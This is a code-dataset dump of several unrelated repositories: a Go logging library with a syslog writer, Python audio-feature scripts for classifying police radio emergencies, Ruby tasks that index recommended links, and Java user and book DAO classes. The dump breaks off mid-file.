branch_name
stringclasses
149 values
text
stringlengths
23
89.3M
directory_id
stringlengths
40
40
languages
listlengths
1
19
num_files
int64
1
11.8k
repo_language
stringclasses
38 values
repo_name
stringlengths
6
114
revision_id
stringlengths
40
40
snapshot_id
stringlengths
40
40
refs/heads/master
<file_sep>// Copyright (C) 2010, <NAME> <<EMAIL>>. All rights reserved. package log4go import ( "errors" "fmt" "net" "os" "time" ) const ( LOCAL0 = 16 LOCAL1 = 17 LOCAL2 = 18 LOCAL3 = 19 LOCAL4 = 20 LOCAL5 = 21 LOCAL6 = 22 LOCAL7 = 23 ) // This log writer sends output to a socket type SysLogWriter chan *LogRecord // This is the SocketLogWriter's output method func (w SysLogWriter) LogWrite(rec *LogRecord) { w <- rec } func (w SysLogWriter) Close() { close(w) } func connectSyslogDaemon() (sock net.Conn, err error) { logTypes := []string{"unixgram", "unix"} logPaths := []string{"/dev/log", "/var/run/syslog"} var raddr string for _, network := range logTypes { for _, path := range logPaths { raddr = path sock, err = net.Dial(network, raddr) if err != nil { continue } else { fmt.Fprintf(os.Stderr, "syslog uses %s:%s\n", network, path) return } } } if err != nil { err = errors.New("cannot connect to Syslog Daemon") } return } func NewSysLogWriter(facility int) (w SysLogWriter) { offset := facility * 8 host, err := os.Hostname() if err != nil { fmt.Fprintf(os.Stderr, "cannot obtain hostname: %s\n", err.Error()) host = "unknown" } sock, err := connectSyslogDaemon() if err != nil { fmt.Fprintf(os.Stderr, "NewSysLogWriter: %s\n", err.Error()) return } w = SysLogWriter(make(chan *LogRecord, LogBufferLength)) go func() { defer func() { if sock != nil { sock.Close() } }() var timestr string var timestrAt int64 for rec := range w { if rec.Created.Unix() != timestrAt { timestrAt = rec.Created.Unix() timestr = time.Unix(timestrAt, 0).UTC().Format(time.RFC3339) } fmt.Fprintf(sock, "<%d>%s %s %s: %s\n", offset+int(rec.Level), timestr, host, rec.Prefix, rec.Message) } }() return } <file_sep>// Copyright (C) 2010, <NAME> <<EMAIL>>. All rights reserved. package log4go import ( "crypto/md5" "encoding/hex" "fmt" "io" "io/ioutil" "os" "runtime" "testing" "time" ) const testLogFile = "_logtest.log" var ( now, _ = time.Parse("02 Jan 2006 15:04:05", "13 Feb 2009 23:31:30") ) func newLogRecord(lvl LogLevel, src string, msg string) *LogRecord { return &LogRecord{ Level: lvl, Source: src, Created: now, Message: msg, } } func TestELog(t *testing.T) { fmt.Printf("Testing %s\n", L4G_VERSION) lr := newLogRecord(CRITICAL, "log4go_test", "message") if lr.Level != CRITICAL { t.Errorf("Incorrect level: %d should be %d", lr.Level, CRITICAL) } if lr.Source != "log4go_test" { t.Errorf("Incorrect source: %s should be %s", lr.Source, "log4go_test") } if lr.Message != "message" { t.Errorf("Incorrect message: %s should be %s", lr.Source, "message") } } var formatTests = []struct { Test string Record *LogRecord Formats map[string]string }{ { Test: "Standard formats", Record: &LogRecord{ Level: ERROR, Source: "log4go_test", Message: "message", Created: now, }, Formats: map[string]string{ // TODO(kevlar): How can I do this so it'll work outside of PST? FORMAT_DEFAULT: "[2009/02/13 23:31:30 UTC] [EROR] (log4go_test) message\n", FORMAT_SHORT: "[23:31 02/13/09] [EROR] message\n", FORMAT_ABBREV: "[EROR] message\n", }, }, } func TestFormatLogRecord(t *testing.T) { for _, test := range formatTests { name := test.Test for fmt, want := range test.Formats { if got := FormatLogRecord(fmt, test.Record); got != want { t.Errorf("%s - %s:", name, fmt) t.Errorf(" got %q", got) t.Errorf(" want %q", want) } } } } var logRecordWriteTests = []struct { Test string Record *LogRecord Console string }{ { Test: "Normal message", Record: &LogRecord{ Level: CRITICAL, Source: "log4go_test", Message: "message", Created: now, }, Console: "CRIT Fri, 13 Feb 2009 23:31:30 UTC : message\n", }, } func TestConsoleLogWriter(t *testing.T) { console := make(ConsoleLogWriter) r, w := io.Pipe() go console.run(w) defer console.Close() buf := make([]byte, 1024) for _, test := range logRecordWriteTests { name := test.Test console.LogWrite(test.Record) n, _ := r.Read(buf) if got, want := string(buf[:n]), test.Console; got != want { t.Errorf("%s: got %q", name, got) t.Errorf("%s: want %q", name, want) } } } func TestFileLogWriter(t *testing.T) { defer func(buflen int) { LogBufferLength = buflen }(LogBufferLength) LogBufferLength = 0 w := NewFileLogWriter(testLogFile, false) if w == nil { t.Fatalf("Invalid return: w should not be nil") } defer os.Remove(testLogFile) w.LogWrite(newLogRecord(CRITICAL, "log4go_test", "message")) w.Close() runtime.Gosched() if contents, err := ioutil.ReadFile(testLogFile); err != nil { t.Errorf("read(%q): %s", testLogFile, err) } else if len(contents) != 55 { t.Errorf("malformed filelog: %q (%d bytes)", string(contents), len(contents)) } } func TestSysLog(t *testing.T) { w := NewSysLogWriter(LOCAL4) if w == nil { t.Fatalf("Invalid return: w should not be nil") } sl := make(Logger) sl.AddFilter("stdout", DEBUG, w) sl.Log(INFO, "TestSysLog", "This message is level INFO") sl.Debug("This message is level %s", DEBUG) w.Close() runtime.Gosched() } func TestSysLogWriter(t *testing.T) { defer func(buflen int) { LogBufferLength = buflen }(LogBufferLength) LogBufferLength = 0 w := NewSysLogWriter(LOCAL4) if w == nil { t.Fatalf("Invalid return: w should not be nil") } w.LogWrite(newLogRecord(CRITICAL, "TestSysLogWriter", "message")) w.Close() runtime.Gosched() } func TestXMLLogWriter(t *testing.T) { defer func(buflen int) { LogBufferLength = buflen }(LogBufferLength) LogBufferLength = 0 w := NewXMLLogWriter(testLogFile, false) if w == nil { t.Fatalf("Invalid return: w should not be nil") } defer os.Remove(testLogFile) w.LogWrite(newLogRecord(CRITICAL, "log4go_test", "message")) w.Close() runtime.Gosched() if contents, err := ioutil.ReadFile(testLogFile); err != nil { t.Errorf("read(%q): %s", testLogFile, err) } else if len(contents) != 190 { t.Errorf("malformed xmllog: %q (%d bytes)", string(contents), len(contents)) } } func TestLogger(t *testing.T) { sl := NewDefaultLogger(WARNING) if sl == nil { t.Fatalf("NewDefaultLogger should never return nil") } if lw, exist := sl["stdout"]; lw == nil || exist != true { t.Fatalf("NewDefaultLogger produced invalid logger (DNE or nil)") } if sl["stdout"].Level != WARNING { t.Fatalf("NewDefaultLogger produced invalid logger (incorrect level)") } if len(sl) != 1 { t.Fatalf("NewDefaultLogger produced invalid logger (incorrect map count)") } //func (l *Logger) AddFilter(name string, level int, writer LogWriter) {} l := make(Logger) l.AddFilter("stdout", DEBUG, NewConsoleLogWriter()) if lw, exist := l["stdout"]; lw == nil || exist != true { t.Fatalf("AddFilter produced invalid logger (DNE or nil)") } if l["stdout"].Level != DEBUG { t.Fatalf("AddFilter produced invalid logger (incorrect level)") } if len(l) != 1 { t.Fatalf("AddFilter produced invalid logger (incorrect map count)") } //func (l *Logger) Warn(format string, args ...interface{}) os.Error {} if err := l.Warn("%s %d %#v", "Warning:", 1, []int{}); err.Error() != "Warning: 1 []int{}" { t.Errorf("Warn returned invalid error: %s", err) } //func (l *Logger) Error(format string, args ...interface{}) os.Error {} if err := l.Error("%s %d %#v", "Error:", 10, []string{}); err.Error() != "Error: 10 []string{}" { t.Errorf("Error returned invalid error: %s", err) } //func (l *Logger) Critical(format string, args ...interface{}) os.Error {} if err := l.Critical("%s %d %#v", "Critical:", 100, []int64{}); err.Error() != "Critical: 100 []int64{}" { t.Errorf("Critical returned invalid error: %s", err) } // Already tested or basically untestable //func (l *Logger) Log(level int, source, message string) {} //func (l *Logger) Logf(level int, format string, args ...interface{}) {} //func (l *Logger) intLogf(level int, format string, args ...interface{}) string {} //func (l *Logger) Finest(format string, args ...interface{}) {} //func (l *Logger) Fine(format string, args ...interface{}) {} //func (l *Logger) Debug(format string, args ...interface{}) {} //func (l *Logger) Trace(format string, args ...interface{}) {} //func (l *Logger) Info(format string, args ...interface{}) {} } func TestLogOutput(t *testing.T) { const ( expected = "85895942723382e03f559e8ddc12da20" ) // Unbuffered output defer func(buflen int) { LogBufferLength = buflen }(LogBufferLength) LogBufferLength = 0 l := make(Logger) // Delete and open the output log without a timestamp (for a constant md5sum) l.AddFilter("file", DEBUG, NewFileLogWriter(testLogFile, false).SetFormat("[%L] %M")) defer os.Remove(testLogFile) // Send some log messages l.Log(CRITICAL, "testsrc1", fmt.Sprintf("This message is level %d", int(CRITICAL))) l.Logf(ERROR, "This message is level %v", ERROR) l.Logf(WARNING, "This message is level %s", WARNING) l.Logc(INFO, func() string { return "This message is level INFO" }) l.Notice("This message is level %d", int(NOTICE)) l.Debug("This message is level %s", DEBUG) l.Alert(func() string { return fmt.Sprintf("This message is level %v", ALERT) }) l.Emergency("This message is level %v", EMERGENCY) l.Emergency(EMERGENCY, "is also this message's level") l.Close() contents, err := ioutil.ReadFile(testLogFile) if err != nil { t.Fatalf("Could not read output log: %s", err) } sum := md5.New() sum.Write(contents) if sumstr := hex.EncodeToString(sum.Sum(nil)); sumstr != expected { t.Errorf("--- Log Contents:\n%s---", string(contents)) t.Fatalf("Checksum does not match: %s (expecting %s)", sumstr, expected) } } func TestCountMallocs(t *testing.T) { const N = 1 // Console logger sl := NewDefaultLogger(INFO) for i := 0; i < N; i++ { sl.Log(WARNING, "here", "This is a WARNING message") } for i := 0; i < N; i++ { sl.Logf(WARNING, "%s is a log message with level %s", "This", WARNING) } for i := 0; i < N; i++ { sl.Log(DEBUG, "here", "This is a DEBUG log message") } for i := 0; i < N; i++ { sl.Logf(DEBUG, "%s is a log message with level %s", "This", DEBUG) } } func BenchmarkFormatLogRecord(b *testing.B) { const updateEvery = 1 interval, _ := time.ParseDuration(fmt.Sprintf("%ds", 1./updateEvery)) rec := &LogRecord{ Level: CRITICAL, Created: now, Source: "log4go_test", Message: "message", } for i := 0; i < b.N; i++ { rec.Created = rec.Created.Add(interval) if i%2 == 0 { FormatLogRecord(FORMAT_DEFAULT, rec) } else { FormatLogRecord(FORMAT_SHORT, rec) } } } func BenchmarkConsoleLog(b *testing.B) { /* sink, err := os.Open(os.DevNull) if err != nil { panic(err) } // Linux if err, _ := syscall.Dup2(sink.Fd(), syscall.Stdout); err != 0 { panic(os.Errno(err)) // Mac if err = syscall.Dup2(int(sink.Fd()), syscall.Stdout); err != nil { panic(err) } */ stdout = ioutil.Discard sl := NewDefaultLogger(INFO) for i := 0; i < b.N; i++ { sl.Log(WARNING, "here", "This is a log message") } } func BenchmarkConsoleNotLogged(b *testing.B) { sl := NewDefaultLogger(INFO) for i := 0; i < b.N; i++ { sl.Log(DEBUG, "here", "This is a log message") } } func BenchmarkConsoleUtilLog(b *testing.B) { sl := NewDefaultLogger(INFO) for i := 0; i < b.N; i++ { sl.Info("%s is a log message", "This") } } func BenchmarkConsoleUtilNotLog(b *testing.B) { sl := NewDefaultLogger(INFO) for i := 0; i < b.N; i++ { sl.Debug("%s is a log message", "This") } } func BenchmarkFileLog(b *testing.B) { sl := make(Logger) b.StopTimer() sl.AddFilter("file", INFO, NewFileLogWriter("benchlog.log", false)) b.StartTimer() for i := 0; i < b.N; i++ { sl.Log(WARNING, "here", "This is a log message") } b.StopTimer() os.Remove("benchlog.log") } func BenchmarkFileNotLogged(b *testing.B) { sl := make(Logger) b.StopTimer() sl.AddFilter("file", INFO, NewFileLogWriter("benchlog.log", false)) b.StartTimer() for i := 0; i < b.N; i++ { sl.Log(DEBUG, "here", "This is a log message") } b.StopTimer() os.Remove("benchlog.log") } func BenchmarkFileUtilLog(b *testing.B) { sl := make(Logger) b.StopTimer() sl.AddFilter("file", INFO, NewFileLogWriter("benchlog.log", false)) b.StartTimer() for i := 0; i < b.N; i++ { sl.Info("%s is a log message", "This") } b.StopTimer() os.Remove("benchlog.log") } func BenchmarkFileUtilNotLog(b *testing.B) { sl := make(Logger) b.StopTimer() sl.AddFilter("file", INFO, NewFileLogWriter("benchlog.log", false)) b.StartTimer() for i := 0; i < b.N; i++ { sl.Debug("%s is a log message", "This") } b.StopTimer() os.Remove("benchlog.log") } // Benchmark results (darwin amd64 6g) //elog.BenchmarkConsoleLog 100000 22819 ns/op //elog.BenchmarkConsoleNotLogged 2000000 879 ns/op //elog.BenchmarkConsoleUtilLog 50000 34380 ns/op //elog.BenchmarkConsoleUtilNotLog 1000000 1339 ns/op //elog.BenchmarkFileLog 100000 26497 ns/op //elog.BenchmarkFileNotLogged 2000000 821 ns/op //elog.BenchmarkFileUtilLog 50000 33945 ns/op //elog.BenchmarkFileUtilNotLog 1000000 1258 ns/op
a94b0e73da2690a4c8acacce5181490d0f5ca21f
[ "Go" ]
2
Go
vanackere/log4go
1fa5d1668153ea0228a924f38dd32e6334f7c89b
9d314eba530e94eab8283d51efea31426ec8e431
refs/heads/master
<file_sep># ![](https://github.com/project-red-siren-dsi-chi-cc7/wip) Project Red Siren --- ## Creators [<NAME>](https://www.linkedin.com/in/lance-carroll/) [<NAME>](https://www.linkedin.com/in/neal-manahan/) [<NAME>](https://www.linkedin.com/in/rodolfo-flores-mendez/) [<NAME>](https://www.linkedin.com/in/sardorkhont/) [<NAME>](https://www.linkedin.com/in/blake-wallace) --- ## Problem Statement **Problem 10: Using live police radio reports for real time identification of people needing assistance.** *Problem Statement:* Currently, FEMA identifies areas that require immediate attention (for search and rescue efforts) either by responding to reports and requests put directly by the public or, recently, using social media posts. This tool will utilize live police radio reports to identify hot spots representing locations of people who need immediate attention. The tool will flag neighborhoods or specific streets where the police and first-respondents were called to provide assistance related to the event. #### Questions of Interest to this project Is it possible to train a model to predict an emergency with a 95% or better accuracy? Can any meaningful data related to addresses be gotten from live audio feed? --- ## Contents [Dictionary](#dictionary) [Executive Summary](#executive-summary) [Future iterations/next steps](#next-steps) [Known Issues](#known-issues) [Data Sources](#data-sources) [Sources](#sources) --- <a id='data-dictionary'></a> ## Data Dictionary --- <a id='executive-summary'></a> ## Executive Summary “To know even one life has breathed easier because you have lived. This is to have succeeded.” – <NAME> "Prepared. Responsive. Committed." - FEMA Motto *The executive summary needs to be persuasive and highlight the benefits of your company/product/service, rather than being descriptive and focusing on the features. You can save the features for the body of the proposal.* *The Opener: Capture their attention* August 29, 2005, <NAME> slams into the shores of the United States, leaving a wake of devastation. To compound the issue, poorly constructed levees along the shores of Louisiana give way to rising water, and entire sections of the city of New Orleans are left under water. Sadly, as rain falls and water levels rise, hundreds of people loose there lives. During this tragic event, emergency responders were left with the task of attending to would be victims, while simultaneously struggling to find those who needed assistance. Project Red Siren successfully lays the foundation needed to expand the resources available to FEMA when attempting to find people needing immediate assistance. It specifically addresses the question, is this radio chatter from first responders and dispatchers an emergency? While this question is not deep enough on its own to answer the full problem statement, the model produced is quite accurate, making it a solid starting point for further investigations. To be precise, the model uses various properties of sound waves to isolate tones, inflections, and other parts of speech that become more pronounced when people are put under stress or duress. Yes, they are emergency responders and dispatchers, trained to keep their composure in tough situations. This fact is one of the most remarkable things about the model Project Red Siren has produced. The differences, although subtle, are nevertheless present; and the precision of the computer makes exposing them possible. *The Call to Action: Let’s do it* *Don't do this* - Don’t make it too long - Don’t use jargon - Don’t use overly technical language - Don’t talk about your company history *Do this* - Do focus on your client - Do mention your client’s company name - Do use plain language - Do proofread and edit --- <a id='next-steps'></a> ## Future iterations/next steps During Project Red Siren, several challenges were revealed, which are now considered. First, and most pronounced, is the fact that the model is not now producing any address information. There are two big hurdles in this domain, that of the inconsistencies involved with how addresses are communicated, and also the ability to obtain clear enough streaming audio to get meaningful text extraction. In the former, some work was done. We refer to the [Proof of concept](https://github.com/project-red-siren-dsi-chi-cc7/deliverables/blob/master/Proof%20of%20concept.ipynb) notebook, which outlines in more detail a potential larger workflow useful in tackling the main problem. A few highlights of the aforementioned proposed workflow. It incorporates criterion to address the question, how much text data should the machine store when receiving text from live audio? It also incorporates deep learning into its scope, and briefly mentions the importance of periodic updating of the model to maintain training data on recent new incoming data. --- <a id='known-issues'></a> ## Known Issues One noteworthly challenge, there are many features which [LibRosa](https://librosa.github.io/librosa/index.html), the primary tool used to create visuals from the sound, can take measurements on and return. These can get a bit technical. Please see [EDA_and_modeling](https://github.com/project-red-siren-dsi-chi-cc7/deliverables/blob/master/EDA_and_modeling.ipynb#Audio-features) for a more thorough consideration of the features from LiBrosa. --- <a id='data-sources'></a> ## Data Sources [Broadcastify](http://www.broadcastify.com/) [You Tube](https://www.youtube.com/) - [Baltimore Police Dispatch Scanner Audio Shooting suspect arrested after wild high-speed chase](https://www.youtube.com/watch?v=fw8i4wQRoM8&t=62s) - [Baltimore Police radio the night of the Freddie Gray riots, 9 PM to midnight, April 25, 2015](https://www.youtube.com/watch?v=5GwW7N73Hqo) - [Chicago Fire - Digital Dispatch Scanner Audio 2-11 fire and EMS Plan 3 kills 10 kids](https://www.youtube.com/watch?v=7bf2sPR7Gqo&t=111s) - [Chicago Police Chase with Scanner Audio](https://www.youtube.com/watch?v=rznw_VMnXnE&t=112s) - [Chicago Police Dispatch Scanner Audio Police officers injured in crash while chasing stolen BMW](https://www.youtube.com/watch?v=a5SGC2N4QLU) - [Chicago Police Zone 11 Dispatch Scanner Audio Shots fired at and by the police 10-1](https://www.youtube.com/watch?v=Ftw3AxiMl2w&t=61s) - [Chicago Police Zone 12 Dispatch Scanner Audio Chicago Police Officer shot 10-1](https://www.youtube.com/watch?v=8IQ3bYUylns&t=46s) - [Dayton Police and Fire Dispatch Scanner Audio Fatal crash on I-75 with tanker truck](https://www.youtube.com/watch?v=5MQqEv9eZ2Y) - [FDNY Bronx Dispatch Scanner Audio Deadly 5th alarm fire in the Bronx kills over 10](https://www.youtube.com/watch?v=lZvHmfBskEw&t=3s) - [FDNY Queens Dispatch Scanner Audio 5 killed including 2 Children in 3rd Alarm fire](https://www.youtube.com/watch?v=pJ5rPStdj7U&t=56s) - [G20 Pittsburgh: Scanner recordings of "police riot" at University of Pittsburgh](https://www.youtube.com/watch?v=W-cxHC_JU8o) - [Illinois State Police Dispatch Scanner Audio High speed chase of suspect wanted for killing deputy](https://www.youtube.com/watch?v=cpcz2FXOZgE&t=512s) - [NJ State Police Troop B Dispatch Scanner Audio Deadly School Bus crash Interstate 80](https://www.youtube.com/watch?v=SrQFDzD3YyA) - [NYPD Citywide 1 Radio Comms during Ferguson Protest](https://www.youtube.com/watch?v=GJQ9g-koF_U) - [Philadelphia Police - Citywide Dispatch Scanner Audio Philadelphia Eagles win Super Bowl 52](https://www.youtube.com/watch?v=Aih-9ZpvfAk) - [Philadelphia riots: Eagles fans celebrate Super Bowl win with fire, destruction, mayhem](https://www.youtube.com/watch?v=wZS4gNVvW7o) - [Scanner Audio From the Charlotte-Mecklenburg Police Riot - 9-20-16](https://www.youtube.com/watch?v=jeHUJz_xU3w) - [St. Louis City Fire Dispatch Scanner Audio 5-alarm fire at south St. Louis warehouse](https://www.youtube.com/watch?v=uCDbon7-Yxo&t=57s) - [2,000 Kids Riot, Shutdown Kentucky Mall (POLICE SCANNER AUDIO)](https://www.youtube.com/watch?v=tMObeEXl8r0) --- <a id='sources'></a> ## Sources - [Audio Spectrum Explained](https://www.teachmeaudio.com/mixing/techniques/audio-spectrum/) - [Banse, Rainer and <NAME>. “Acoustic profiles in vocal emotion expression.” Journal of personality and social psychology 70 3 (1996): 614-36 .](https://pdfs.semanticscholar.org/94ef/3dcacea9c1d1a032d7d724bd4b09cae13f7f.pdf) - [LibROSA](https://librosa.github.io/librosa/index.html) - [<NAME>., <NAME>., <NAME>. and <NAME>. (2019). On the use of the tempogram to describe audio content and its application to Music structural segmentation - IEEE Conference Publication. [online] Ieeexplore.ieee.org. Available at: https://ieeexplore.ieee.org/document/7178003 [Accessed 24 Apr. 2019].](http://ieeexplore.ieee.org/stamp/stamp.jsp?tp=&arnumber=7178003&isnumber=7177909) - Wikipedia contributors, "Mel-frequency cepstrum," Wikipedia, The Free Encyclopedia, https://en.wikipedia.org/w/index.php?title=Mel-frequency_cepstrum&oldid=886751555 (accessed April 24, 2019). - Wikipedia contributors, "Mel scale," Wikipedia, The Free Encyclopedia, https://en.wikipedia.org/w/index.php?title=Mel_scale&oldid=889156041 (accessed April 24, 2019). - Wikipedia contributors, "Chroma feature," Wikipedia, The Free Encyclopedia, https://en.wikipedia.org/w/index.php?title=Chroma_feature&oldid=884367502 (accessed April 24, 2019). - Wikipedia contributors, "Spectrogram," Wikipedia, The Free Encyclopedia, https://en.wikipedia.org/w/index.php?title=Spectrogram&oldid=893824963 (accessed April 24, 2019).<file_sep>import numpy as np import pandas as pd import librosa import speech_recognition as sr files=librosa.util.find_files('/home/ubuntu/new_audios/') r = sr.Recognizer() values=[] for file in files: try: hellow=sr.AudioFile(file) with hellow as source: try: audio = r.record(source) s = r.recognize_google(audio) values.append([file,'Good',s]) except: values.append([file,'Exception','']) except: values.append([files,'Exception','']) df = pd.DataFrame(values, columns=(['file_name','good_exception','audio_recognition'])) df.to_csv('df_newspeech_recognition.csv') <file_sep>#Import libraries import pandas as pd import numpy as np import re import string import librosa #Extract file list to process files=librosa.util.find_files('/home/ubuntu/new_audios/') #Review the file list (10 first elements) files[0:10] #Check how many files will be read len(files) #Loop through the file list and create a dataframe values=[] for file in files: # y = audio time series # sr = sample rate of 'y' y, sr = librosa.load(file) # get the list of mean values extracted from different features stft = np.abs(librosa.stft(y)) mfcc = np.mean(librosa.feature.mfcc(y=y, sr=sr, n_mfcc=40).T, axis=0) chroma_stft = np.mean(librosa.feature.chroma_stft(S=stft, sr=sr).T, axis=0) mel = np.mean(librosa.feature.melspectrogram(y, sr=sr).T, axis=0) contrast = np.mean(librosa.feature.spectral_contrast(S=stft, sr=sr).T, axis=0) tonnetz = np.mean(librosa.feature.tonnetz(y=librosa.effects.harmonic(y), sr=sr).T, axis=0) tempogram = np.mean(librosa.feature.tempogram(y, sr=sr).T, axis=0) rolloff=np.mean(librosa.feature.spectral_rolloff(y, sr=sr).T, axis=0) chroma_cqt = np.mean(librosa.feature.chroma_cqt(y=y, sr=sr).T, axis=0) chroma_cens = np.mean(librosa.feature.chroma_cens(y=y, sr=sr).T, axis=0) spectral_centroid=np.mean(librosa.feature.spectral_centroid(y=y, sr=sr).T, axis=0) spectral_band=np.mean(librosa.feature.spectral_bandwidth(y=y, sr=sr).T, axis=0) spectral_flat=np.mean(librosa.feature.spectral_flatness(y=y).T, axis=0) spectral_contrast=np.mean(librosa.feature.spectral_contrast(y=y, sr=sr).T, axis=0) # append to the list values.append([file,mfcc,chroma_stft,mel,contrast,tonnetz,tempogram,rolloff,chroma_cqt,chroma_cens,spectral_centroid,spectral_band,spectral_flat,spectral_contrast]) # Create a DataFrame out of the list df = pd.DataFrame(values, columns=(['file_name','mfcc', 'chroma_stft','mel','contrast','tonnetz','tempogram','rolloff','chroma_cqt','chroma_cens','spectral_centroid','spectral_band','spectral_flat','spectral_contrast'])) df.to_csv('df_testaudio_compressed.csv') cols = df.columns[1:] for col in cols: length = pd.DataFrame(df[col].tolist()).shape[1] col_seq = [] for i in range(1, length+1): col_seq.append(f'{col}_{i}') dfs = [df, pd.DataFrame(df[col].tolist(), columns=col_seq)] df = pd.concat(dfs, axis=1).drop(col, axis=1) df.to_csv('df_testaudio.csv')
2bedba74deca023a48a84df320e96070c4bac076
[ "Markdown", "Python" ]
3
Markdown
project-red-siren-dsi-chi-cc7/wip
cd893b71606651c66053c4c08e5d92148d73c363
89e343a11cb87c040f30866b0b331e2b18018b97
refs/heads/master
<file_sep>require "logger" require_relative "../recommended_links/indexing_task" desc "Deploy the recommended links to rummager and external link tracker" task :deploy_links do logger = Logger.new(Rake.verbose ? STDERR : "/dev/null") logger.formatter = Proc.new do |severity, datetime, progname, msg| "[#{severity}] #{msg}\n" end data_path = File.expand_path("../../data", File.dirname(__FILE__)) indexer = RecommendedLinks::Indexer.new(logger) registerer = RecommendedLinks::ExternalLinkRegisterer.new(logger) RecommendedLinks::IndexingTask.new(data_path, indexer: indexer, external_link_registerer: registerer).run end <file_sep>Recommended Links ================= Some citizen needs will not be satisfied by content on the single domain. This may be because other existing websites already have information or services which would satisfy this need and for whatever reason that will not currently be part of the single domain. For this content, we'll detect searches for particular terms and show a recommended link at the top of the search results. Example: Search for: care homes Results ======= Care homes ---------- Find a care home and other residential housing on the NHS Choices website -> http://www.nhs.uk/CarersDirect/guide/practicalsupport/Pages/Carehomes.aspx Surfacing recommended links in Rummager ======================================= Check out this repository and run rake rummager:index to index all the recommended links in Rummager. <file_sep>require_relative "recommended_link" require "logger" require "rummageable" DUMMY_LOGGER = Logger.new("/dev/null") module RecommendedLinks class Indexer def initialize(logger=DUMMY_LOGGER) @logger = logger end def index(recommended_links) @logger.info "Indexing #{recommended_links.size} links..." to_index = recommended_links.group_by { |link| link.search_index || :default } to_index.each do |index, links| if index == :default Rummageable.index(links.map(&:to_index)) else Rummageable.index(links.map(&:to_index), "/#{index}") end end @logger.info "Recommended links indexed" end def remove(deleted_links) @logger.info "Deleting #{deleted_links.size} links..." deleted_links.each do |deleted_link| if deleted_link.search_index.nil? Rummageable.delete(deleted_link.url) else Rummageable.delete(deleted_link.url, "/#{deleted_link.search_index}") end end @logger.info "Links deleted" end end end <file_sep>require 'gds_api/external_link_tracker' require 'logger' module RecommendedLinks class ExternalLinkRegisterer attr_reader :logger def initialize(logger = default_logger) @logger = logger end def register_links(links) logger.info "Registering #{links.count} links with external link tracker..." links.each do |link| api.add_external_link(link.url) end logger.info 'Recommend links registered' end private def api @api ||= GdsApi::ExternalLinkTracker.new(Plek.current.find('api-external-link-tracker')) end def default_logger Logger.new('/dev/null') end end end <file_sep>require 'gds_api/external_link_tracker' require_relative "../test_helper" require_relative "../../lib/recommended_links/external_link_registerer" module RecommendedLinks class ExternalLinkRegistererTest < Test::Unit::TestCase test "#register sends links to the external link tracker" do care_homes_url = "http://www.nhs.uk/CarersDirect/guide/practicalsupport/Pages/Carehomes.aspx" care_homes = RecommendedLink.new( "Care homes", "Find a care home and other residential housing on the NHS Choices website", care_homes_url, ["care homes", "old people's homes", "nursing homes", "sheltered housing"], ) nhs_choices_url = "http://www.nhs.uk/" nhs_choices = RecommendedLink.new( "NHS Choices", "Information from the National Health Service on conditions, treatments, local services and healthy living", nhs_choices_url, ["nhs", "health"], ) GdsApi::ExternalLinkTracker.any_instance .expects(:add_external_link) .with(care_homes_url) GdsApi::ExternalLinkTracker.any_instance .expects(:add_external_link) .with(nhs_choices_url) ExternalLinkRegisterer.new.register_links([care_homes, nhs_choices]) end end end
7edbf110a0bb987ac5a25309160440c5538a21e8
[ "Markdown", "Ruby" ]
5
Ruby
turnbullja/recommended-links
8c54af3d1d02ff97f159adb969b656319518802f
d88dea32012f7d7af75fede81bd6bbeeebe29acd
refs/heads/master
<file_sep>/* * To change this license header, choose License Headers in Project Properties. * To change this template file, choose Tools | Templates * and open the template in the editor. */ package dtos; /** * * @author Administrator */ public class BookDTO { private int bookID; private String image; private String title; private float price; private int totalAmount; private int availableAmount; private String description; private boolean status; public BookDTO() { } public BookDTO(int bookID, String image, String title, float price, int totalAmount, int availableAmount, String description, boolean status) { this.bookID = bookID; this.image = image; this.title = title; this.price = price; this.totalAmount = totalAmount; this.availableAmount = availableAmount; this.description = description; this.status = status; } public BookDTO(String image, String title, float price, int totalAmount, int availableMount, String description) { this.image = image; this.title = title; this.price = price; this.totalAmount = totalAmount; this.availableAmount = availableMount; this.description = description; } public BookDTO(int bookID, String image, String title, float price, int totalAmount, int availableAmount, String description) { this.bookID = bookID; this.image = image; this.title = title; this.price = price; this.totalAmount = totalAmount; this.availableAmount = availableAmount; this.description = description; } public String getDescription() { return description; } public void setDescription(String description) { this.description = description; } public int getBookID() { return bookID; } public void setBookID(int bookID) { this.bookID = bookID; } public String getTitle() { return title; } public void setTitle(String title) { this.title = title; } public float getPrice() { return price; } public void setPrice(float price) { this.price = price; } public String getImage() { return image; } public void setImage(String image) { this.image = image; } public int getTotalAmount() { return totalAmount; } public void setTotalAmount(int totalAmount) { this.totalAmount = totalAmount; } public int getAvailableAmount() { return availableAmount; } public void setAvailableAmount(int availableAmount) { this.availableAmount = availableAmount; } public boolean isStatus() { return status; } public void setStatus(boolean status) { this.status = status; } } <file_sep>/* * To change this license header, choose License Headers in Project Properties. * To change this template file, choose Tools | Templates * and open the template in the editor. */ package daos; import dtos.RoleDTO; import dtos.UserDTO; import java.sql.Connection; import java.sql.PreparedStatement; import java.sql.ResultSet; import java.sql.SQLException; import utils.MyConnection; /** * * @author Administrator */ public class UserDAO { Connection conn = null; PreparedStatement ps = null; ResultSet rs = null; public void closeConnection() { try { if (rs != null) { rs.close(); } if (ps != null) { ps.close(); } if (conn != null) { conn.close(); } } catch (SQLException e) { } } public UserDTO checkLogin(String userID, String password) throws SQLException { conn = MyConnection.getConnection(); UserDTO dto = null; try { if (conn != null) { String sql = "SELECT u.userName, u.roleID, u.status, r.roleName, r.status AS roleStatus " + "FROM tblRoles r JOIN tblUsers u " + "ON r.roleID=u.roleID " + "WHERE userID=? AND password=?"; ps = conn.prepareStatement(sql); ps.setString(1, userID); ps.setString(2, password); rs = ps.executeQuery(); if (rs.next()) { boolean status = rs.getBoolean("status"); if (status) { String userName = rs.getString("userName"); int roleID = rs.getInt("roleID"); String roleName = rs.getString("roleName"); boolean roleStatus = rs.getBoolean("roleStatus"); RoleDTO roleDTO = new RoleDTO(roleID, roleName, roleStatus); dto = new UserDTO(userID, userName, roleDTO, "***", status); } } } } finally { closeConnection(); } return dto; } public void createAUser(UserDTO user) throws SQLException { conn = MyConnection.getConnection(); try { if (conn != null) { String sql = "insert into tblUsers(userID, userName, password, roleID, status) values(?,?,?,?,?)"; ps = conn.prepareStatement(sql); ps.setString(1, user.getUserID()); ps.setString(2, user.getUserName()); ps.setString(3, user.getPassword()); ps.setInt(4, 1); ps.setBoolean(5, true); ps.executeUpdate(); } } finally { closeConnection(); } } } <file_sep>/* * To change this license header, choose License Headers in Project Properties. * To change this template file, choose Tools | Templates * and open the template in the editor. */ package utils; /** * * @author Administrator */ public class 